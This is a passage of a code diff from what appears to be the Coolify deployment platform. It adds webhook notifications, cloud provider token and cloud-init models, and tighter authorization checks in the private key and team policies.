Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" ".$this->buildGitCheckoutCommand($commit); + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" ".$this->buildGitCheckoutCommand($commit); } } diff --git a/app/Models/CloudInitScript.php b/app/Models/CloudInitScript.php new file mode 100644 index 000000000..2c78cc582 --- /dev/null +++ b/app/Models/CloudInitScript.php @@ -0,0 +1,33 @@ + 'encrypted', + ]; + } + + public function team() + { + return $this->belongsTo(Team::class); + } + + public static function ownedByCurrentTeam(array $select = ['*']) + { + $selectArray = collect($select)->concat(['id']); + + return self::whereTeamId(currentTeam()->id)->select($selectArray->all()); + } +} diff --git a/app/Models/CloudProviderToken.php b/app/Models/CloudProviderToken.php new file mode 100644 index 000000000..607040269 --- /dev/null +++ b/app/Models/CloudProviderToken.php @@ -0,0 +1,41 @@ + 'encrypted', + ]; + + public function team() + { + return $this->belongsTo(Team::class); + } + + public function servers() + { + return $this->hasMany(Server::class); + } + + public function hasServers(): bool + { + return $this->servers()->exists(); + } + + public static function ownedByCurrentTeam(array $select = ['*']) + { + $selectArray = collect($select)->concat(['id']); + + return self::whereTeamId(currentTeam()->id)->select($selectArray->all()); + } + + public function scopeForProvider($query, string $provider) + { + return $query->where('provider', $provider); + } +} diff --git a/app/Models/Environment.php b/app/Models/Environment.php index bfeee01c9..c2ad9d2cb 100644 --- a/app/Models/Environment.php +++ b/app/Models/Environment.php @@ -35,6 +35,11 @@ protected static function booted() }); } + public static function ownedByCurrentTeam() + { + return Environment::whereRelation('project.team', 'id', currentTeam()->id)->orderBy('name'); + } + public function isEmpty() { return $this->applications()->count() == 0 && diff --git a/app/Models/InstanceSettings.php b/app/Models/InstanceSettings.php index ac95bb8a9..cd1c05de4 100644 --- a/app/Models/InstanceSettings.php +++ b/app/Models/InstanceSettings.php @@ -35,13 +35,18 @@ class InstanceSettings extends Model protected static function booted(): void { static::updated(function ($settings) { - if ($settings->isDirty('helper_version')) { + if ($settings->wasChanged('helper_version')) { Server::chunkById(100, function ($servers) { foreach ($servers as $server) { PullHelperImageJob::dispatch($server); } }); } + + // Clear trusted hosts cache when FQDN changes + if ($settings->wasChanged('fqdn')) { + \Cache::forget('instance_settings_fqdn_host'); + } }); } diff --git a/app/Models/PrivateKey.php b/app/Models/PrivateKey.php index c210f3c5b..c5cbc6338 100644 --- a/app/Models/PrivateKey.php +++ b/app/Models/PrivateKey.php @@ -82,9 +82,10 @@ public function getPublicKey() public static function ownedByCurrentTeam(array $select = ['*']) { + $teamId = currentTeam()->id; $selectArray = collect($select)->concat(['id']); - return self::whereTeamId(currentTeam()->id)->select($selectArray->all()); + return self::whereTeamId($teamId)->select($selectArray->all()); } public static function validatePrivateKey($privateKey) @@ -289,6 +290,17 @@ public static function generateFingerprint($privateKey) } } + public static function generateMd5Fingerprint($privateKey) + { + try { + $key = PublicKeyLoader::load($privateKey); + + return $key->getPublicKey()->getFingerprint('md5'); + } catch (\Throwable $e) { + return null; + } + } + public static function fingerprintExists($fingerprint, $excludeId = null) { $query = self::query() diff --git a/app/Models/Server.php b/app/Models/Server.php index 829a4b5aa..e39526949 100644 --- a/app/Models/Server.php +++ b/app/Models/Server.php @@ -136,6 +136,7 @@ protected static function booted() $destination->delete(); }); $server->settings()->delete(); + $server->sslCertificates()->delete(); }); } @@ -161,7 +162,11 @@ protected static function booted() 'user', 'description', 'private_key_id', + 'cloud_provider_token_id', 'team_id', + 'hetzner_server_id', + 'hetzner_server_status', + 'is_validating', ]; protected $guarded = []; @@ -889,6 +894,16 @@ public function privateKey() return $this->belongsTo(PrivateKey::class); } + public function cloudProviderToken() + { + return $this->belongsTo(CloudProviderToken::class); + } + + public function sslCertificates() + { + return $this->hasMany(SslCertificate::class); + } + public function muxFilename() { return 'mux_'.$this->uuid; @@ -1327,7 +1342,7 @@ public function generateCaCertificate() isCaCertificate: true, validityDays: 10 * 365 ); - $caCertificate = SslCertificate::where('server_id', $this->id)->where('is_ca_certificate', true)->first(); + $caCertificate = $this->sslCertificates()->where('is_ca_certificate', true)->first(); ray('CA certificate generated', $caCertificate); if ($caCertificate) { $certificateContent = $caCertificate->ssl_certificate; diff --git a/app/Models/ServerSetting.php b/app/Models/ServerSetting.php index 3abd55e9c..6da4dd4c6 100644 --- a/app/Models/ServerSetting.php +++ b/app/Models/ServerSetting.php @@ -79,11 +79,11 @@ protected static function booted() }); static::updated(function ($settings) { if ( - $settings->isDirty('sentinel_token') || - $settings->isDirty('sentinel_custom_url') || - $settings->isDirty('sentinel_metrics_refresh_rate_seconds') || - $settings->isDirty('sentinel_metrics_history_days') || - $settings->isDirty('sentinel_push_interval_seconds') + $settings->wasChanged('sentinel_token') || + $settings->wasChanged('sentinel_custom_url') || + $settings->wasChanged('sentinel_metrics_refresh_rate_seconds') || + $settings->wasChanged('sentinel_metrics_history_days') || + $settings->wasChanged('sentinel_push_interval_seconds') ) { $settings->server->restartSentinel(); } diff --git a/app/Models/Team.php b/app/Models/Team.php index 51fdeffa4..6c30389ee 100644 --- a/app/Models/Team.php +++ b/app/Models/Team.php @@ -54,6 +54,7 @@ protected static function booted() $team->slackNotificationSettings()->create(); $team->telegramNotificationSettings()->create(); $team->pushoverNotificationSettings()->create(); + $team->webhookNotificationSettings()->create(); }); static::saving(function ($team) { @@ -258,6 +259,11 @@ public function privateKeys() return $this->hasMany(PrivateKey::class); } + public function cloudProviderTokens() + { + return $this->hasMany(CloudProviderToken::class); + } + public function sources() { $sources = collect([]); @@ -307,4 +313,9 @@ public function pushoverNotificationSettings() { return $this->hasOne(PushoverNotificationSettings::class); } + + public function webhookNotificationSettings() + { + return $this->hasOne(WebhookNotificationSettings::class); + } } diff --git a/app/Models/User.php b/app/Models/User.php index 9ab9fefe9..f04b6fa77 100644 --- a/app/Models/User.php +++ b/app/Models/User.php @@ -338,6 +338,39 @@ public function role() return data_get($user, 'pivot.role'); } + /** + * Check if the user is an admin or owner of a specific team + */ + public function isAdminOfTeam(int $teamId): bool + { + $team = $this->teams->where('id', $teamId)->first(); + + if (! $team) { + return false; + } + + $role = $team->pivot->role ?? null; + + return $role === 'admin' || $role === 'owner'; + } + + /** + * Check if the user can access system resources (team_id=0) + * Must be admin/owner of root team + */ + public function canAccessSystemResources(): bool + { + // Check if user is member of root team + $rootTeam = $this->teams->where('id', 0)->first(); + + if (! $rootTeam) { + return false; + } + + // Check if user is admin or owner of root team + return $this->isAdminOfTeam(0); + } + public function requestEmailChange(string $newEmail): void { // Generate 6-digit code diff --git a/app/Models/WebhookNotificationSettings.php b/app/Models/WebhookNotificationSettings.php new file mode 100644 index 000000000..4ca89e0d3 --- /dev/null +++ b/app/Models/WebhookNotificationSettings.php @@ -0,0 +1,64 @@ + 'boolean', + 'webhook_url' => 'encrypted', + + 'deployment_success_webhook_notifications' => 'boolean', + 'deployment_failure_webhook_notifications' => 'boolean', + 'status_change_webhook_notifications' => 'boolean', + 'backup_success_webhook_notifications' => 'boolean', + 'backup_failure_webhook_notifications' => 'boolean', + 'scheduled_task_success_webhook_notifications' => 'boolean', + 'scheduled_task_failure_webhook_notifications' => 'boolean', + 'docker_cleanup_webhook_notifications' => 'boolean', + 'server_disk_usage_webhook_notifications' => 'boolean', + 'server_reachable_webhook_notifications' => 'boolean', + 'server_unreachable_webhook_notifications' => 'boolean', + 'server_patch_webhook_notifications' => 'boolean', + ]; + } + + public function team() + { + return $this->belongsTo(Team::class); + } + + public function isEnabled() + { + return $this->webhook_enabled; + } +} diff --git a/app/Notifications/Application/DeploymentFailed.php b/app/Notifications/Application/DeploymentFailed.php index dec361e78..8fff7f03b 100644 --- a/app/Notifications/Application/DeploymentFailed.php +++ b/app/Notifications/Application/DeploymentFailed.php @@ -185,4 +185,30 @@ public function toSlack(): SlackMessage color: SlackMessage::errorColor() ); } + + public function toWebhook(): array + { + $data = [ + 'success' => false, + 'message' => 'Deployment failed', + 'event' => 'deployment_failed', + 'application_name' => $this->application_name, + 'application_uuid' => $this->application->uuid, + 'deployment_uuid' => $this->deployment_uuid, + 'deployment_url' => $this->deployment_url, + 'project' => data_get($this->application, 'environment.project.name'), + 'environment' => $this->environment_name, + ]; + + if ($this->preview) { + $data['pull_request_id'] = $this->preview->pull_request_id; + $data['preview_fqdn'] = $this->preview->fqdn; + } + + if ($this->fqdn) { + $data['fqdn'] = $this->fqdn; + } + + return $data; + } } diff --git a/app/Notifications/Application/DeploymentSuccess.php b/app/Notifications/Application/DeploymentSuccess.php index 9b59d9162..415df5831 100644 --- a/app/Notifications/Application/DeploymentSuccess.php +++ b/app/Notifications/Application/DeploymentSuccess.php @@ -205,4 +205,30 @@ public function toSlack(): SlackMessage color: SlackMessage::successColor() ); } + + public function toWebhook(): array + { + $data = [ + 'success' => true, + 'message' => 'New version successfully deployed', + 'event' => 'deployment_success', + 'application_name' => $this->application_name, + 'application_uuid' => $this->application->uuid, + 'deployment_uuid' => $this->deployment_uuid, + 'deployment_url' => $this->deployment_url, + 'project' => data_get($this->application, 'environment.project.name'), + 'environment' => $this->environment_name, + ]; + + if ($this->preview) { + $data['pull_request_id'] = $this->preview->pull_request_id; + $data['preview_fqdn'] = $this->preview->fqdn; + } + + if ($this->fqdn) { + $data['fqdn'] = $this->fqdn; + } + + return $data; + } } diff --git a/app/Notifications/Application/StatusChanged.php b/app/Notifications/Application/StatusChanged.php index fab5487ef..ef61b7e6a 100644 --- a/app/Notifications/Application/StatusChanged.php +++ b/app/Notifications/Application/StatusChanged.php @@ -113,4 +113,19 @@ public function toSlack(): SlackMessage color: SlackMessage::errorColor() ); } + + public function toWebhook(): array + { + return [ + 'success' => false, + 'message' => 'Application stopped', + 'event' => 'status_changed', + 'application_name' => $this->resource_name, + 'application_uuid' => $this->resource->uuid, + 'url' => $this->resource_url, + 'project' => data_get($this->resource, 'environment.project.name'), + 'environment' => $this->environment_name, + 'fqdn' => $this->fqdn, + ]; + } } diff --git a/app/Notifications/Channels/WebhookChannel.php b/app/Notifications/Channels/WebhookChannel.php new file mode 100644 index 000000000..8c3e74b17 --- /dev/null +++ b/app/Notifications/Channels/WebhookChannel.php @@ -0,0 +1,37 @@ +webhookNotificationSettings; + + if (! $webhookSettings || ! $webhookSettings->isEnabled() || ! $webhookSettings->webhook_url) { + if (isDev()) { + ray('Webhook notification skipped - not enabled or no URL configured'); + } + + return; + } + + $payload = $notification->toWebhook(); + + if (isDev()) { + ray('Dispatching webhook notification', [ + 'notification' => get_class($notification), + 'url' => $webhookSettings->webhook_url, + 'payload' => $payload, + ]); + } + + SendWebhookJob::dispatch($payload, $webhookSettings->webhook_url); + } +} diff --git a/app/Notifications/Container/ContainerRestarted.php b/app/Notifications/Container/ContainerRestarted.php index f6ae69481..2d7eb58b5 100644 --- a/app/Notifications/Container/ContainerRestarted.php +++ b/app/Notifications/Container/ContainerRestarted.php @@ -102,4 +102,22 @@ public function toSlack(): SlackMessage color: SlackMessage::warningColor() ); } + + public function toWebhook(): array + { + $data = [ + 'success' => true, + 'message' => 'Resource restarted automatically', + 'event' => 'container_restarted', + 'container_name' => $this->name, + 'server_name' => $this->server->name, + 'server_uuid' => $this->server->uuid, + ]; + + if ($this->url) { + $data['url'] = $this->url; + } + + return $data; + } } diff --git a/app/Notifications/Container/ContainerStopped.php b/app/Notifications/Container/ContainerStopped.php index fc9410a85..f518cd2fd 100644 --- a/app/Notifications/Container/ContainerStopped.php +++ b/app/Notifications/Container/ContainerStopped.php @@ -102,4 +102,22 @@ public function toSlack(): SlackMessage color: SlackMessage::errorColor() ); } + + public function toWebhook(): array + { + $data = [ + 'success' => false, + 'message' => 'Resource stopped unexpectedly', + 'event' => 'container_stopped', + 'container_name' => $this->name, + 'server_name' => $this->server->name, + 'server_uuid' => $this->server->uuid, + ]; + + if ($this->url) { + $data['url'] = $this->url; + } + + return $data; + } } diff --git a/app/Notifications/Database/BackupFailed.php b/app/Notifications/Database/BackupFailed.php index a19fb0431..c2b21b1d5 100644 --- a/app/Notifications/Database/BackupFailed.php +++ b/app/Notifications/Database/BackupFailed.php @@ -88,4 +88,21 @@ public function toSlack(): SlackMessage color: SlackMessage::errorColor() ); } + + public function toWebhook(): array + { + $url = base_url().'/project/'.data_get($this->database, 'environment.project.uuid').'/environment/'.data_get($this->database, 'environment.uuid').'/database/'.$this->database->uuid; + + return [ + 'success' => false, + 'message' => 'Database backup failed', + 'event' => 'backup_failed', + 'database_name' => $this->name, + 'database_uuid' => $this->database->uuid, + 'database_type' => $this->database_name, + 'frequency' => $this->frequency, + 'error_output' => $this->output, + 'url' => $url, + ]; + } } diff --git a/app/Notifications/Database/BackupSuccess.php b/app/Notifications/Database/BackupSuccess.php index 78bcfafe3..3d2d8ece3 100644 --- a/app/Notifications/Database/BackupSuccess.php +++ b/app/Notifications/Database/BackupSuccess.php @@ -85,4 +85,20 @@ public function toSlack(): SlackMessage color: SlackMessage::successColor() ); } + + public function toWebhook(): array + { + $url = base_url().'/project/'.data_get($this->database, 'environment.project.uuid').'/environment/'.data_get($this->database, 'environment.uuid').'/database/'.$this->database->uuid; + + return [ + 'success' => true, + 'message' => 'Database backup successful', + 'event' => 'backup_success', + 'database_name' => $this->name, + 'database_uuid' => $this->database->uuid, + 'database_type' => $this->database_name, + 'frequency' => $this->frequency, + 'url' => $url, + ]; + } } diff --git a/app/Notifications/Database/BackupSuccessWithS3Warning.php b/app/Notifications/Database/BackupSuccessWithS3Warning.php index 75ae2824c..ee24ef17d 100644 --- a/app/Notifications/Database/BackupSuccessWithS3Warning.php +++ b/app/Notifications/Database/BackupSuccessWithS3Warning.php @@ -113,4 +113,27 @@ public function toSlack(): SlackMessage color: SlackMessage::warningColor() ); } + + public function toWebhook(): array + { + $url = base_url().'/project/'.data_get($this->database, 'environment.project.uuid').'/environment/'.data_get($this->database, 'environment.uuid').'/database/'.$this->database->uuid; + + $data = [ + 'success' => true, + 'message' => 'Database backup succeeded locally, S3 upload failed', + 'event' => 'backup_success_with_s3_warning', + 'database_name' => $this->name, + 'database_uuid' => $this->database->uuid, + 'database_type' => $this->database_name, + 'frequency' => $this->frequency, + 's3_error' => $this->s3_error, + 'url' => $url, + ]; + + if ($this->s3_storage_url) { + $data['s3_storage_url'] = $this->s3_storage_url; + } + + return $data; + } } diff --git a/app/Notifications/ScheduledTask/TaskFailed.php b/app/Notifications/ScheduledTask/TaskFailed.php index eb4fc7e79..bd060112a 100644 --- a/app/Notifications/ScheduledTask/TaskFailed.php +++ b/app/Notifications/ScheduledTask/TaskFailed.php @@ -114,4 +114,28 @@ public function toSlack(): SlackMessage color: SlackMessage::errorColor() ); } + + public function toWebhook(): array + { + $data = [ + 'success' => false, + 'message' => 'Scheduled task failed', + 'event' => 'task_failed', + 'task_name' => $this->task->name, + 'task_uuid' => $this->task->uuid, + 'output' => $this->output, + ]; + + if ($this->task->application) { + $data['application_uuid'] = $this->task->application->uuid; + } elseif ($this->task->service) { + $data['service_uuid'] = $this->task->service->uuid; + } + + if ($this->url) { + $data['url'] = $this->url; + } + + return $data; + } } diff --git a/app/Notifications/ScheduledTask/TaskSuccess.php b/app/Notifications/ScheduledTask/TaskSuccess.php index c45784db2..58c959bd8 100644 --- a/app/Notifications/ScheduledTask/TaskSuccess.php +++ b/app/Notifications/ScheduledTask/TaskSuccess.php @@ -105,4 +105,28 @@ public function toSlack(): SlackMessage color: SlackMessage::successColor() ); } + + public function toWebhook(): array + { + $data = [ + 'success' => true, + 'message' => 'Scheduled task succeeded', + 'event' => 'task_success', + 'task_name' => $this->task->name, + 'task_uuid' => $this->task->uuid, + 'output' => $this->output, + ]; + + if ($this->task->application) { + $data['application_uuid'] = $this->task->application->uuid; + } elseif ($this->task->service) { + $data['service_uuid'] = $this->task->service->uuid; + } + + if ($this->url) { + $data['url'] = $this->url; + } + + return $data; + } } diff --git a/app/Notifications/Server/DockerCleanupFailed.php b/app/Notifications/Server/DockerCleanupFailed.php index 0291eed19..9cbdeb488 100644 --- a/app/Notifications/Server/DockerCleanupFailed.php +++ b/app/Notifications/Server/DockerCleanupFailed.php @@ -66,4 +66,19 @@ public function toSlack(): SlackMessage color: SlackMessage::errorColor() ); } + + public function toWebhook(): array + { + $url = base_url().'/server/'.$this->server->uuid; + + return [ + 'success' => false, + 'message' => 'Docker cleanup job failed', + 'event' => 'docker_cleanup_failed', + 'server_name' => $this->server->name, + 'server_uuid' => $this->server->uuid, + 'error_message' => $this->message, + 'url' => $url, + ]; + } } diff --git a/app/Notifications/Server/DockerCleanupSuccess.php b/app/Notifications/Server/DockerCleanupSuccess.php index 1a652d189..d28f25c6c 100644 --- a/app/Notifications/Server/DockerCleanupSuccess.php +++ b/app/Notifications/Server/DockerCleanupSuccess.php @@ -66,4 +66,19 @@ public function toSlack(): SlackMessage color: SlackMessage::successColor() ); } + + public function toWebhook(): array + { + $url = base_url().'/server/'.$this->server->uuid; + + return [ + 'success' => true, + 'message' => 'Docker cleanup job succeeded', + 'event' => 'docker_cleanup_success', + 'server_name' => $this->server->name, + 'server_uuid' => $this->server->uuid, + 'cleanup_message' => $this->message, + 'url' => $url, + ]; + } } diff --git a/app/Notifications/Server/HetznerDeletionFailed.php b/app/Notifications/Server/HetznerDeletionFailed.php new file mode 100644 index 000000000..de894331b --- /dev/null +++ b/app/Notifications/Server/HetznerDeletionFailed.php @@ -0,0 +1,71 @@ +onQueue('high'); + } + + public function via(object $notifiable): array + { + ray('hello'); + ray($notifiable); + + return $notifiable->getEnabledChannels('hetzner_deletion_failed'); + } + + public function toMail(): MailMessage + { + $mail = new MailMessage; + $mail->subject("Coolify: [ACTION REQUIRED] Failed to delete Hetzner server #{$this->hetznerServerId}"); + $mail->view('emails.hetzner-deletion-failed', [ + 'hetznerServerId' => $this->hetznerServerId, + 'errorMessage' => $this->errorMessage, + ]); + + return $mail; + } + + public function toDiscord(): DiscordMessage + { + return new DiscordMessage( + title: ':cross_mark: Coolify: [ACTION REQUIRED] Failed to delete Hetzner server', + description: "Failed to delete Hetzner server #{$this->hetznerServerId} from Hetzner Cloud.\n\n**Error:** {$this->errorMessage}\n\nThe server has been removed from Coolify, but may still exist in your Hetzner Cloud account. Please check your Hetzner Cloud console and manually delete the server if needed.", + color: DiscordMessage::errorColor(), + ); + } + + public function toTelegram(): array + { + return [ + 'message' => "Coolify: [ACTION REQUIRED] Failed to delete Hetzner server #{$this->hetznerServerId} from Hetzner Cloud.\n\nError: {$this->errorMessage}\n\nThe server has been removed from Coolify, but may still exist in your Hetzner Cloud account. Please check your Hetzner Cloud console and manually delete the server if needed.", + ]; + } + + public function toPushover(): PushoverMessage + { + return new PushoverMessage( + title: 'Hetzner Server Deletion Failed', + level: 'error', + message: "[ACTION REQUIRED] Failed to delete Hetzner server #{$this->hetznerServerId}.\n\nError: {$this->errorMessage}\n\nThe server has been removed from Coolify, but may still exist in your Hetzner Cloud account. Please check and manually delete if needed.", + ); + } + + public function toSlack(): SlackMessage + { + return new SlackMessage( + title: 'Coolify: [ACTION REQUIRED] Hetzner Server Deletion Failed', + description: "Failed to delete Hetzner server #{$this->hetznerServerId} from Hetzner Cloud.\n\nError: {$this->errorMessage}\n\nThe server has been removed from Coolify, but may still exist in your Hetzner Cloud account. Please check your Hetzner Cloud console and manually delete the server if needed.", + color: SlackMessage::errorColor() + ); + } +} diff --git a/app/Notifications/Server/HighDiskUsage.php b/app/Notifications/Server/HighDiskUsage.php index 983e6d81e..149d1bbc8 100644 --- a/app/Notifications/Server/HighDiskUsage.php +++ b/app/Notifications/Server/HighDiskUsage.php @@ -88,4 +88,18 @@ public function toSlack(): SlackMessage color: SlackMessage::errorColor() ); } + + public function toWebhook(): array + { + return [ + 'success' => false, + 'message' => 'High disk usage detected', + 'event' => 'high_disk_usage', + 'server_name' => $this->server->name, + 'server_uuid' => $this->server->uuid, + 'disk_usage' => $this->disk_usage, + 'threshold' => $this->server_disk_usage_notification_threshold, + 'url' => base_url().'/server/'.$this->server->uuid, + ]; + } } diff --git a/app/Notifications/Server/Reachable.php b/app/Notifications/Server/Reachable.php index e03aef6b7..e64b0af2a 100644 --- a/app/Notifications/Server/Reachable.php +++ b/app/Notifications/Server/Reachable.php @@ -74,4 +74,18 @@ public function toSlack(): SlackMessage color: SlackMessage::successColor() ); } + + public function toWebhook(): array + { + $url = base_url().'/server/'.$this->server->uuid; + + return [ + 'success' => true, + 'message' => 'Server revived', + 'event' => 'server_reachable', + 'server_name' => $this->server->name, + 'server_uuid' => $this->server->uuid, + 'url' => $url, + ]; + } } diff --git a/app/Notifications/Server/ServerPatchCheck.php b/app/Notifications/Server/ServerPatchCheck.php index 1686a6f37..4d3053569 100644 --- a/app/Notifications/Server/ServerPatchCheck.php +++ b/app/Notifications/Server/ServerPatchCheck.php @@ -345,4 +345,47 @@ public function toSlack(): SlackMessage color: SlackMessage::errorColor() ); } + + public function toWebhook(): array + { + // Handle error case + if (isset($this->patchData['error'])) { + return [ + 'success' => false, + 'message' => 'Failed to check patches', + 'event' => 'server_patch_check_error', + 'server_name' => $this->server->name, + 'server_uuid' => $this->server->uuid, + 'os_id' => $this->patchData['osId'] ?? 'unknown', + 'package_manager' => $this->patchData['package_manager'] ?? 'unknown', + 'error' => $this->patchData['error'], + 'url' => $this->serverUrl, + ]; + } + + $totalUpdates = $this->patchData['total_updates'] ?? 0; + $updates = $this->patchData['updates'] ?? []; + + // Check for critical packages + $criticalPackages = collect($updates)->filter(function ($update) { + return str_contains(strtolower($update['package']), 'docker') || + str_contains(strtolower($update['package']), 'kernel') || + str_contains(strtolower($update['package']), 'openssh') || + str_contains(strtolower($update['package']), 'ssl'); + }); + + return [ + 'success' => false, + 'message' => 'Server patches available', + 'event' => 'server_patch_check', + 'server_name' => $this->server->name, + 'server_uuid' => $this->server->uuid, + 'total_updates' => $totalUpdates, + 'os_id' => $this->patchData['osId'] ?? 'unknown', + 'package_manager' => $this->patchData['package_manager'] ?? 'unknown', + 'updates' => $updates, + 'critical_packages_count' => $criticalPackages->count(), + 'url' => $this->serverUrl, + ]; + } } diff --git a/app/Notifications/Server/Unreachable.php b/app/Notifications/Server/Unreachable.php index fe90cc610..99742f3b7 100644 --- a/app/Notifications/Server/Unreachable.php +++ b/app/Notifications/Server/Unreachable.php @@ -82,4 +82,18 @@ public function toSlack(): SlackMessage color: SlackMessage::errorColor() ); } + + public function toWebhook(): array + { + $url = base_url().'/server/'.$this->server->uuid; + + return [ + 'success' => false, + 'message' => 'Server unreachable', + 'event' => 'server_unreachable', + 'server_name' => $this->server->name, + 'server_uuid' => $this->server->uuid, + 'url' => $url, + ]; + } } diff --git a/app/Notifications/Test.php b/app/Notifications/Test.php index 0b1d8d6b1..60bc8a0ee 100644 --- a/app/Notifications/Test.php +++ b/app/Notifications/Test.php @@ -7,6 +7,7 @@ use App\Notifications\Channels\PushoverChannel; use App\Notifications\Channels\SlackChannel; use App\Notifications\Channels\TelegramChannel; +use App\Notifications\Channels\WebhookChannel; use App\Notifications\Dto\DiscordMessage; use App\Notifications\Dto\PushoverMessage; use App\Notifications\Dto\SlackMessage; @@ -36,6 +37,7 @@ public function via(object $notifiable): array 'telegram' => [TelegramChannel::class], 'slack' => [SlackChannel::class], 'pushover' => [PushoverChannel::class], + 'webhook' => [WebhookChannel::class], default => [], }; } else { @@ -110,4 +112,14 @@ public function toSlack(): SlackMessage description: 'This is a test Slack notification from Coolify.' ); } + + public function toWebhook(): array + { + return [ + 'success' => true, + 'message' => 'This is a test webhook notification from Coolify.', + 'event' => 'test', + 'url' => base_url(), + ]; + } } diff --git a/app/Policies/CloudInitScriptPolicy.php b/app/Policies/CloudInitScriptPolicy.php new file mode 100644 index 000000000..0be4f2662 --- /dev/null +++ b/app/Policies/CloudInitScriptPolicy.php @@ -0,0 +1,65 @@ +isAdmin(); + } + + /** + * Determine whether the user can view the model. + */ + public function view(User $user, CloudInitScript $cloudInitScript): bool + { + return $user->isAdmin(); + } + + /** + * Determine whether the user can create models. + */ + public function create(User $user): bool + { + return $user->isAdmin(); + } + + /** + * Determine whether the user can update the model. + */ + public function update(User $user, CloudInitScript $cloudInitScript): bool + { + return $user->isAdmin(); + } + + /** + * Determine whether the user can delete the model. + */ + public function delete(User $user, CloudInitScript $cloudInitScript): bool + { + return $user->isAdmin(); + } + + /** + * Determine whether the user can restore the model. + */ + public function restore(User $user, CloudInitScript $cloudInitScript): bool + { + return $user->isAdmin(); + } + + /** + * Determine whether the user can permanently delete the model. + */ + public function forceDelete(User $user, CloudInitScript $cloudInitScript): bool + { + return $user->isAdmin(); + } +} diff --git a/app/Policies/CloudProviderTokenPolicy.php b/app/Policies/CloudProviderTokenPolicy.php new file mode 100644 index 000000000..b7b108ba8 --- /dev/null +++ b/app/Policies/CloudProviderTokenPolicy.php @@ -0,0 +1,65 @@ +isAdmin(); + } + + /** + * Determine whether the user can view the model. + */ + public function view(User $user, CloudProviderToken $cloudProviderToken): bool + { + return $user->isAdmin(); + } + + /** + * Determine whether the user can create models. + */ + public function create(User $user): bool + { + return $user->isAdmin(); + } + + /** + * Determine whether the user can update the model. + */ + public function update(User $user, CloudProviderToken $cloudProviderToken): bool + { + return $user->isAdmin(); + } + + /** + * Determine whether the user can delete the model. + */ + public function delete(User $user, CloudProviderToken $cloudProviderToken): bool + { + return $user->isAdmin(); + } + + /** + * Determine whether the user can restore the model. + */ + public function restore(User $user, CloudProviderToken $cloudProviderToken): bool + { + return $user->isAdmin(); + } + + /** + * Determine whether the user can permanently delete the model. + */ + public function forceDelete(User $user, CloudProviderToken $cloudProviderToken): bool + { + return $user->isAdmin(); + } +} diff --git a/app/Policies/PrivateKeyPolicy.php b/app/Policies/PrivateKeyPolicy.php index 996054c95..9f3381faf 100644 --- a/app/Policies/PrivateKeyPolicy.php +++ b/app/Policies/PrivateKeyPolicy.php @@ -20,8 +20,18 @@ public function viewAny(User $user): bool */ public function view(User $user, PrivateKey $privateKey): bool { - // return $user->teams->contains('id', $privateKey->team_id); - return true; + // Handle null team_id + if ($privateKey->team_id === null) { + return false; + } + + // System resource (team_id=0): Only root team admins/owners can access + if ($privateKey->team_id === 0) { + return $user->canAccessSystemResources(); + } + + // Regular resource: Check team membership + return $user->teams->contains('id', $privateKey->team_id); } /** @@ -29,8 +39,9 @@ public function view(User $user, PrivateKey $privateKey): bool */ public function create(User $user): bool { - // return $user->isAdmin(); - return true; + // Only admins/owners can create private keys + // Members should not be able to create SSH keys that could be used for deployments + return $user->isAdmin(); } /** @@ -38,8 +49,19 @@ public function create(User $user): bool */ public function update(User $user, PrivateKey $privateKey): bool { - // return $user->isAdmin() && $user->teams->contains('id', $privateKey->team_id); - return true; + // Handle null team_id + if ($privateKey->team_id === null) { + return false; + } + + // System resource (team_id=0): Only root team admins/owners can update + if ($privateKey->team_id === 0) { + return $user->canAccessSystemResources(); + } + + // Regular resource: Must be admin/owner of the team + return $user->isAdminOfTeam($privateKey->team_id) + && $user->teams->contains('id', $privateKey->team_id); } /** @@ -47,8 +69,19 @@ public function update(User $user, PrivateKey $privateKey): bool */ public function delete(User $user, PrivateKey $privateKey): bool { - // return $user->isAdmin() && $user->teams->contains('id', $privateKey->team_id); - return true; + // Handle null team_id + if ($privateKey->team_id === null) { + return false; + } + + // System resource (team_id=0): Only root team admins/owners can delete + if ($privateKey->team_id === 0) { + return $user->canAccessSystemResources(); + } + + // Regular resource: Must be admin/owner of the team + return $user->isAdminOfTeam($privateKey->team_id) + && $user->teams->contains('id', $privateKey->team_id); } /** diff --git a/app/Policies/TeamPolicy.php b/app/Policies/TeamPolicy.php index b7ef48943..849e23751 100644 --- a/app/Policies/TeamPolicy.php +++ b/app/Policies/TeamPolicy.php @@ -42,8 +42,7 @@ public function update(User $user, Team $team): bool return false; } - // return $user->isAdmin() || $user->isOwner(); - return true; + return $user->isAdmin() || $user->isOwner(); } /** @@ -56,8 +55,7 @@ public function delete(User $user, Team $team): bool return false; } - // return $user->isAdmin() || $user->isOwner(); - return true; + return $user->isAdmin() || $user->isOwner(); } /** @@ -70,8 +68,7 @@ public function manageMembers(User $user, Team $team): bool return false; } - // return $user->isAdmin() || $user->isOwner(); - return true; + return $user->isAdmin() || $user->isOwner(); } /** @@ -84,8 +81,7 @@ public function viewAdmin(User $user, Team $team): bool return false; } - // return $user->isAdmin() || $user->isOwner(); - return true; + return $user->isAdmin() || $user->isOwner(); } /** @@ -98,7 +94,6 @@ public function manageInvitations(User $user, Team $team): bool return false; } - // return $user->isAdmin() || $user->isOwner(); - return true; + return $user->isAdmin() || $user->isOwner(); } } diff --git a/app/Providers/AuthServiceProvider.php b/app/Providers/AuthServiceProvider.php index c017a580e..5d3347936 100644 --- a/app/Providers/AuthServiceProvider.php +++ b/app/Providers/AuthServiceProvider.php @@ -45,6 +45,7 @@ class AuthServiceProvider extends ServiceProvider \App\Models\TelegramNotificationSettings::class => \App\Policies\NotificationPolicy::class, \App\Models\SlackNotificationSettings::class => \App\Policies\NotificationPolicy::class, \App\Models\PushoverNotificationSettings::class => \App\Policies\NotificationPolicy::class, + \App\Models\WebhookNotificationSettings::class => \App\Policies\NotificationPolicy::class, // API Token policy \Laravel\Sanctum\PersonalAccessToken::class => \App\Policies\ApiTokenPolicy::class, diff --git a/app/Rules/ValidCloudInitYaml.php b/app/Rules/ValidCloudInitYaml.php new file mode 100644 index 000000000..8116e1161 --- /dev/null +++ b/app/Rules/ValidCloudInitYaml.php @@ -0,0 +1,55 @@ +getMessage()); + } + + return; + } + + // If it 